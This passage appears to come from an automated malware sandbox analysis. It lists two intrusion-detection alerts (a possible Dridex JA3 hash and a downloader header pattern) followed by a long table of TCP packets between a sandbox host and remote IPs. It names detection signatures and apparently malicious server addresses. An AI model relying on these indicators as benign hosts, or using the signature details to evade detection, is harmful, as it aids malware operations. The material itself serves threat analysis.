2024-10-03T03:36:28.988557+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	49745	49.12.197.9	443	TCP
2024-10-03T03:36:30.410110+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	49746	147.45.44.104	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 03:35:51.444037914 CEST	49721	443	192.168.2.6	104.102.49.254
Oct 3, 2024 03:35:51.444076061 CEST	443	49721	104.102.49.254	192.168.2.6
Oct 3, 2024 03:35:51.444180965 CEST	49721	443	192.168.2.6	104.102.49.254
Oct 3, 2024 03:35:51.463304996 CEST	49721	443	192.168.2.6	104.102.49.254
Oct 3, 2024 03:35:51.463324070 CEST	443	49721	104.102.49.254	192.168.2.6
Oct 3, 2024 03:35:52.105868101 CEST	443	49721	104.102.49.254	192.168.2.6
Oct 3, 2024 03:35:52.105952978 CEST	49721	443	192.168.2.6	104.102.49.254
Oct 3, 2024 03:35:52.159409046 CEST	49721	443	192.168.2.6	104.102.49.254
Oct 3, 2024 03:35:52.159449100 CEST	443	49721	104.102.49.254	192.168.2.6
Oct 3, 2024 03:35:52.159847975 CEST	443	49721	104.102.49.254	192.168.2.6
Oct 3, 2024 03:35:52.160891056 CEST	49721	443	192.168.2.6	104.102.49.254
Oct 3, 2024 03:35:52.165117979 CEST	49721	443	192.168.2.6	104.102.49.254
Oct 3, 2024 03:35:52.211397886 CEST	443	49721	104.102.49.254	192.168.2.6
Oct 3, 2024 03:35:52.578246117 CEST	443	49721	104.102.49.254	192.168.2.6
Oct 3, 2024 03:35:52.578269958 CEST	443	49721	104.102.49.254	192.168.2.6
Oct 3, 2024 03:35:52.578284979 CEST	443	49721	104.102.49.254	192.168.2.6
Oct 3, 2024 03:35:52.578342915 CEST	49721	443	192.168.2.6	104.102.49.254
Oct 3, 2024 03:35:52.578355074 CEST	443	49721	104.102.49.254	192.168.2.6
Oct 3, 2024 03:35:52.578497887 CEST	49721	443	192.168.2.6	104.102.49.254
Oct 3, 2024 03:35:52.578497887 CEST	49721	443	192.168.2.6	104.102.49.254
Oct 3, 2024 03:35:52.685750961 CEST	443	49721	104.102.49.254	192.168.2.6
Oct 3, 2024 03:35:52.685830116 CEST	443	49721	104.102.49.254	192.168.2.6
Oct 3, 2024 03:35:52.685915947 CEST	49721	443	192.168.2.6	104.102.49.254
Oct 3, 2024 03:35:52.685933113 CEST	443	49721	104.102.49.254	192.168.2.6
Oct 3, 2024 03:35:52.685956001 CEST	49721	443	192.168.2.6	104.102.49.254
Oct 3, 2024 03:35:52.686342955 CEST	49721	443	192.168.2.6	104.102.49.254
Oct 3, 2024 03:35:52.694257975 CEST	443	49721	104.102.49.254	192.168.2.6
Oct 3, 2024 03:35:52.694380999 CEST	49721	443	192.168.2.6	104.102.49.254
Oct 3, 2024 03:35:52.694399118 CEST	443	49721	104.102.49.254	192.168.2.6
Oct 3, 2024 03:35:52.694479942 CEST	443	49721	104.102.49.254	192.168.2.6
Oct 3, 2024 03:35:52.694519997 CEST	49721	443	192.168.2.6	104.102.49.254
Oct 3, 2024 03:35:52.694653034 CEST	49721	443	192.168.2.6	104.102.49.254
Oct 3, 2024 03:35:52.694876909 CEST	49721	443	192.168.2.6	104.102.49.254
Oct 3, 2024 03:35:52.694905996 CEST	443	49721	104.102.49.254	192.168.2.6
Oct 3, 2024 03:35:52.750772953 CEST	49722	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:52.750821114 CEST	443	49722	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:52.751035929 CEST	49722	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:52.751328945 CEST	49722	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:52.751344919 CEST	443	49722	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:53.721319914 CEST	443	49722	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:53.721399069 CEST	49722	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:53.726183891 CEST	49722	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:53.726203918 CEST	443	49722	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:53.735991955 CEST	443	49722	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:53.736062050 CEST	49722	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:53.741624117 CEST	49722	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:53.783406973 CEST	443	49722	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:54.230211020 CEST	443	49722	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:54.230300903 CEST	49722	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:54.230319023 CEST	443	49722	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:54.230396986 CEST	443	49722	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:54.230406046 CEST	49722	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:54.230454922 CEST	49722	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:54.244371891 CEST	49722	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:54.244417906 CEST	443	49722	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:54.246721029 CEST	49723	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:54.246771097 CEST	443	49723	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:54.246848106 CEST	49723	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:54.247180939 CEST	49723	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:54.247194052 CEST	443	49723	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:54.940577030 CEST	443	49723	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:54.941628933 CEST	49723	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:54.945730925 CEST	49723	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:54.945753098 CEST	443	49723	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:54.947395086 CEST	49723	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:54.947412968 CEST	443	49723	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:55.644252062 CEST	443	49723	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:55.644371033 CEST	49723	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:55.644402981 CEST	443	49723	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:55.644431114 CEST	443	49723	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:55.644449949 CEST	49723	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:55.644469023 CEST	49723	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:55.644810915 CEST	49723	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:55.644825935 CEST	443	49723	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:55.653182030 CEST	49724	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:55.653229952 CEST	443	49724	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:55.653294086 CEST	49724	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:55.653539896 CEST	49724	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:55.653549910 CEST	443	49724	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:56.366292000 CEST	443	49724	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:56.366413116 CEST	49724	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:56.367160082 CEST	49724	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:56.367171049 CEST	443	49724	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:56.368835926 CEST	49724	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:56.368844032 CEST	443	49724	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:57.073210955 CEST	443	49724	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:57.073273897 CEST	443	49724	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:57.073424101 CEST	443	49724	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:57.073426008 CEST	49724	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:57.073510885 CEST	49724	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:57.073512077 CEST	49724	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:57.073832989 CEST	49724	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:57.073880911 CEST	443	49724	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:57.083275080 CEST	49725	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:57.083316088 CEST	443	49725	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:57.083391905 CEST	49725	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:57.083601952 CEST	49725	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:57.083616018 CEST	443	49725	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:57.730468035 CEST	443	49725	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:57.730654001 CEST	49725	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:57.731380939 CEST	49725	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:57.731399059 CEST	443	49725	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:57.733153105 CEST	49725	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:57.733158112 CEST	443	49725	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:58.429017067 CEST	443	49725	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:58.429056883 CEST	443	49725	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:58.429131985 CEST	443	49725	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:58.429136992 CEST	49725	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:58.429194927 CEST	49725	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:58.429194927 CEST	49725	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:58.429568052 CEST	49725	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:58.429586887 CEST	443	49725	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:58.440224886 CEST	49726	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:58.440253019 CEST	443	49726	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:58.440355062 CEST	49726	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:58.440635920 CEST	49726	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:58.440649986 CEST	443	49726	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:59.102504015 CEST	443	49726	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:59.102732897 CEST	49726	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:59.103068113 CEST	49726	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:59.103081942 CEST	443	49726	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:59.105205059 CEST	49726	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:59.105226994 CEST	443	49726	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:59.801207066 CEST	443	49726	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:59.801323891 CEST	49726	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:59.801340103 CEST	443	49726	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:59.801378012 CEST	49726	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:59.801388979 CEST	443	49726	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:59.801431894 CEST	49726	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:59.811984062 CEST	49726	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:59.812015057 CEST	443	49726	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:59.911010981 CEST	49727	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:59.911083937 CEST	443	49727	49.12.197.9	192.168.2.6
Oct 3, 2024 03:35:59.911175013 CEST	49727	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:59.911423922 CEST	49727	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:35:59.911451101 CEST	443	49727	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:00.559801102 CEST	443	49727	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:00.559954882 CEST	49727	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:00.560722113 CEST	49727	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:00.560758114 CEST	443	49727	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:00.562813997 CEST	49727	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:00.562829018 CEST	443	49727	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:00.562886953 CEST	49727	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:00.562905073 CEST	443	49727	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:01.205590963 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:01.205663919 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:01.205773115 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:01.206063986 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:01.206077099 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:01.349162102 CEST	443	49727	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:01.349266052 CEST	49727	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:01.349338055 CEST	443	49727	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:01.349378109 CEST	443	49727	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:01.349395990 CEST	49727	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:01.349427938 CEST	49727	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:01.350162983 CEST	49727	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:01.350198984 CEST	443	49727	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:01.905518055 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:01.905601978 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:01.906061888 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:01.906070948 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:01.924135923 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:01.924170017 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.340790033 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.340852976 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.340895891 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.340893030 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.340935946 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.340955019 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.340975046 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.340997934 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.370951891 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.371002913 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.371124983 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.371180058 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.371200085 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.371269941 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.437026024 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.437067032 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.437113047 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.437129021 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.437164068 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.437187910 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.470035076 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.470065117 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.470125914 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.470144033 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.470165968 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.470175982 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.507034063 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.507061005 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.507143974 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.507168055 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.507478952 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.547555923 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.547621012 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.547672987 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.547697067 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.547710896 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.548084974 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.559973955 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.560022116 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.560211897 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.560233116 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.560410023 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.573856115 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.573915958 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.573952913 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.573971987 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.573987007 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.574023008 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.591542959 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.591604948 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.591660023 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.591682911 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.591703892 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.591725111 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.605948925 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.606010914 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.606067896 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.606093884 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.606106997 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.606127977 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.623020887 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.623065948 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.623153925 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.623174906 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.623203039 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.623220921 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.636755943 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.636811018 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.636909008 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.636930943 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.636961937 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.636986017 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.652115107 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.652149916 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.652285099 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.652307034 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.652607918 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.676537991 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.676573038 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.676717997 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.676739931 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.677006006 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.678091049 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.678109884 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.678165913 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.678170919 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.678191900 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.678209066 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.681580067 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.681597948 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.681633949 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.681641102 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.681663990 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.681684017 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.690427065 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.690447092 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.690499067 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.690526962 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.690592051 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.697685003 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.697702885 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.697765112 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.697787046 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.697992086 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.708926916 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.708945990 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.709007978 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.709028006 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.709222078 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.727211952 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.727245092 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.727529049 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.727550983 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.727669954 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.743683100 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.743736029 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.743777990 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.743799925 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.743817091 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.743835926 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.779557943 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.779613018 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.779787064 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.779813051 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.780180931 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.783119917 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.783163071 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.783195972 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.783220053 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.783233881 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.783293009 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.786170959 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.786221981 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.786251068 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.786257029 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.786288023 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.786294937 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.790755033 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.790811062 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.790832996 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.790838957 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.790862083 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.790879965 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.792757988 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.792804003 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.792826891 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.792844057 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.792860031 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.792867899 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.792885065 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.799746037 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.799787998 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.799832106 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.799855947 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.799869061 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.800066948 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.818794966 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.818839073 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.818907022 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.818933964 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.818948984 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.818964958 CEST	49728	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:02.835263968 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.835308075 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:02.835359097 CEST	49728	443	192.168.2.6	49.12.197.9
